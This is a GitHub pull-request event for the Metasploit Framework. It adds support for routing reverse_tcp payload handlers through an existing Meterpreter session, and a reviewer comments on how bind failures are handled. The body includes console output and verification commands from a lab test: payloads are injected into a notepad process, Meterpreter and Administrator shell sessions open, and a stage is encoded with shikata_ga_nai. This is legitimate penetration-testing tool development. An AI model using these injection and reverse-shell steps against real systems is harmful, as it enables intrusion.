{"action":"created","issue":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5383","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5383/labels{/name}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5383/comments","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5383/events","html_url":"https://github.com/rapid7/metasploit-framework/pull/5383","id":78290677,"number":5383,"title":"Add support for sessions as server Comm (Resurrects #1732)","user":{"login":"Meatballs1","id":1854557,"avatar_url":"https://avatars.githubusercontent.com/u/1854557?v=3","gravatar_id":"","url":"https://api.github.com/users/Meatballs1","html_url":"https://github.com/Meatballs1","followers_url":"https://api.github.com/users/Meatballs1/followers","following_url":"https://api.github.com/users/Meatballs1/following{/other_user}","gists_url":"https://api.github.com/users/Meatballs1/gists{/gist_id}","starred_url":"https://api.github.com/users/Meatballs1/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Meatballs1/subscriptions","organizations_url":"https://api.github.com/users/Meatballs1/orgs","repos_url":"https://api.github.com/users/Meatballs1/repos","events_url":"https://api.github.com/users/Meatballs1/events{/privacy}","received_events_url":"https://api.github.com/users/Meatballs1/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/bug","name":"bug","color":"e11d21"},{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/enhancement","name":"enhancement","color":"5319e7"},{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/meterpreter","name":"meterpreter","color":"5319e7"}],"state":"open","locked":false,"assignee":{"login":"zeroSteiner","id":2058303,"avatar_url":"https://avatars.githubusercontent.com/u/2058303?v=3","gravatar_id":"","url":"https://api.github.com/users/zeroSteiner","html_url":"https://github.com/zeroSteiner","followers_url":"https://api.github.com/users/zeroSteiner/followers","following_url":"https://api.github.com/users/zeroSteiner/following{/other_user}","gists_url":"https://api.github.com/users/zeroSteiner/gists{/gist_id}","starred_url":"https://api.github.com/users/zeroSteiner/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zeroSteiner/subscriptions","organizations_url":"https://api.github.com/users/zeroSteiner/orgs","repos_url":"https://api.github.com/users/zeroSteiner/repos","events_url":"https://api.github.com/users/zeroSteiner/events{/privacy}","received_events_url":"https://api.github.com/users/zeroSteiner/received_events","type":"User","site_admin":false},"milestone":null,"comments":5,"created_at":"2015-05-19T23:24:48Z","updated_at":"2015-08-24T15:53:10Z","closed_at":null,"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5383","html_url":"https://github.com/rapid7/metasploit-framework/pull/5383","diff_url":"https://github.com/rapid7/metasploit-framework/pull/5383.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/5383.patch"},"body":"https://github.com/rapid7/metasploit-framework/pull/1732\r\n\r\n\r\n## Summary\r\nThis allows you to tunnel back reverse_tcp and reverse_tcp_ssl connections via local port listening on the remote meterpreter instance, without having to use `route add`.\r\n\r\nI haven't implemented this for HTTP/HTTPS connections, which is where the original stumbling block appeared to be. I'll leave that for OJ, BusterB and HDM as they have been playing with the HTTP handler a lot recently.\r\n\r\nAnd there doesn't appear to be a reverse_tcp_ssl payload for Windows? :)\r\n\r\nRefactored a little to a common mixin. \r\n\r\n## Example Usage\r\n\r\n```\r\nmsf exploit(payload_inject) > show options\r\n\r\nModule options (exploit/windows/local/payload_inject):\r\n\r\n   Name        Current Setting  Required  Description\r\n   ----        ---------------  --------  -----------\r\n   NEWPROCESS  true             no        New notepad.exe to inject to\r\n   PID                          no        Process Identifier to inject of process to inject payload.\r\n   SESSION                      yes       The session to run this module on.\r\n\r\n\r\nPayload options (windows/meterpreter/reverse_tcp):\r\n\r\n   Name      Current Setting  Required  Description\r\n   ----      ---------------  --------  -----------\r\n   EXITFUNC  process          yes       Exit technique (accepted: , , seh, thread, process, none)\r\n   LHOST     127.0.0.1        yes       The listen address\r\n   LPORT     4444             yes       The listen port\r\n\r\n\r\nExploit target:\r\n\r\n   Id  Name\r\n   --  ----\r\n   0   Windows\r\n\r\n\r\nmsf exploit(payload_inject) > set ReverseListenerComm 1\r\nReverseListenerComm => 1\r\n\r\nmsf exploit(payload_inject) > set SESSION 1\r\nSESSION => 1\r\nmsf exploit(payload_inject) > run\r\n\r\n[*] Started reverse handler on 127.0.0.1:4444 via the meterpreter on session 1\r\n[*] Running module against WIN-2DE8F2QP867\r\n[*] Launching notepad.exe...\r\n[*] Preparing 'windows/meterpreter/reverse_tcp' for PID 3092\r\n[*] Sending stage (884270 bytes)\r\n[*] Meterpreter session 2 opened (192.168.5.101-192.168.5.1:4444 -> 127.0.0.1:63173) at 2015-05-20 00:09:44 +0100\r\n\r\nmeterpreter > background\r\n\r\n\r\nmsf exploit(payload_inject) > set ReverseListenerComm 5\r\nReverseListenerComm => 5\r\n\r\nmsf exploit(payload_inject) > run\r\n\r\n[-] Exploit failed: RuntimeError Reverse Listener Comm (Session 5) does not exist\r\n\r\nmsf exploit(payload_inject) > set PAYLOAD windows/shell/reverse_tcp\r\nPAYLOAD => windows/shell/reverse_tcp\r\nmsf exploit(payload_inject) > set ReverseListenerComm 2\r\nReverseListenerComm => 2\r\nmsf exploit(payload_inject) > run\r\n\r\n[*] Started reverse handler on 127.0.0.1:4444 via the meterpreter on session 2\r\n[*] Running module against WIN-2DE8F2QP867\r\n[*] Launching notepad.exe...\r\n[*] Preparing 'windows/shell/reverse_tcp' for PID 3300\r\n[*] Encoded stage with x86/shikata_ga_nai\r\n[*] Sending encoded stage (267 bytes)\r\n[*] Command shell session 3 opened (Local Pipe -> Remote Pipe) at 2015-05-20 00:14:53 +0100\r\n\r\nMicrosoft Windows [Version 6.1.7600]\r\nCopyright (c) 2009 Microsoft Corporation.  All rights reserved.\r\n\r\nC:\\Users\\Administrator>\r\nBackground session 3? [y/N]  y\r\n\r\nmsf exploit(payload_inject) > \r\nmsf exploit(payload_inject) > set ReverseListenerComm 3\r\nReverseListenerComm => 3\r\nmsf exploit(payload_inject) > run\r\n\r\n[-] Exploit failed: RuntimeError Reverse Listener Comm (Session 3) does not implement Rex::Socket::Comm\r\n```\r\n\r\n## Verification\r\n* Get a windows meterpreter session \r\n```\r\nuse exploit/windows/local/payload_inject\r\nset NEWPROCESS true\r\nset ReverseListenerComm 1\r\nset LHOST 127.0.0.1\r\nexploit\r\n```\r\n- [ ] Should get a shell back via meterpreter session 1 (Session 2). Check netstat to ensure no additional tcp connection has been made\r\n```\r\nset ReverseListenerComm 10\r\nexploit\r\n```\r\n- [ ] Should get an error that 10 doesn't exist\r\n```\r\nset ReverseListenerComm 2\r\nset LHOST 0.0.0.0\r\nexploit\r\n```\r\n- [ ] No connection should come back, there is no error checking if you put this address in LHOST... Should there be? Not the scope of this change but thought I'd point it out.\r\n```\r\nset LHOST 127.0.0.1\r\nset PAYLOAD windows/shell/reverse_tcp\r\nexploit\r\n```\r\n- [ ] Should get a shell session back via 2 and 1 (Session 3)\r\n```\r\nset ReverseListenerComm 3\r\nexploit\r\n```\r\n- [ ] Should get an error that Session 3 doesn't support Rex::Socket::Comm\r\n```\r\nset ReverseListenerComm 1\r\nset LHOST 192.168.99.99 # a random IP (not 0.0.0.0)\r\n```\r\n- [x] Expect this should raise an exception as the remote meterpreter should fail to bind on this address - but haven't tested this use case."},"comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments/134258897","html_url":"https://github.com/rapid7/metasploit-framework/pull/5383#issuecomment-134258897","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5383","id":134258897,"user":{"login":"bcook-r7","id":10031469,"avatar_url":"https://avatars.githubusercontent.com/u/10031469?v=3","gravatar_id":"","url":"https://api.github.com/users/bcook-r7","html_url":"https://github.com/bcook-r7","followers_url":"https://api.github.com/users/bcook-r7/followers","following_url":"https://api.github.com/users/bcook-r7/following{/other_user}","gists_url":"https://api.github.com/users/bcook-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/bcook-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bcook-r7/subscriptions","organizations_url":"https://api.github.com/users/bcook-r7/orgs","repos_url":"https://api.github.com/users/bcook-r7/repos","events_url":"https://api.github.com/users/bcook-r7/events{/privacy}","received_events_url":"https://api.github.com/users/bcook-r7/received_events","type":"User","site_admin":false},"created_at":"2015-08-24T15:53:10Z","updated_at":"2015-08-24T15:53:10Z","body":"It seems we should raise an exception if the bind fails, rather than silently failing."}}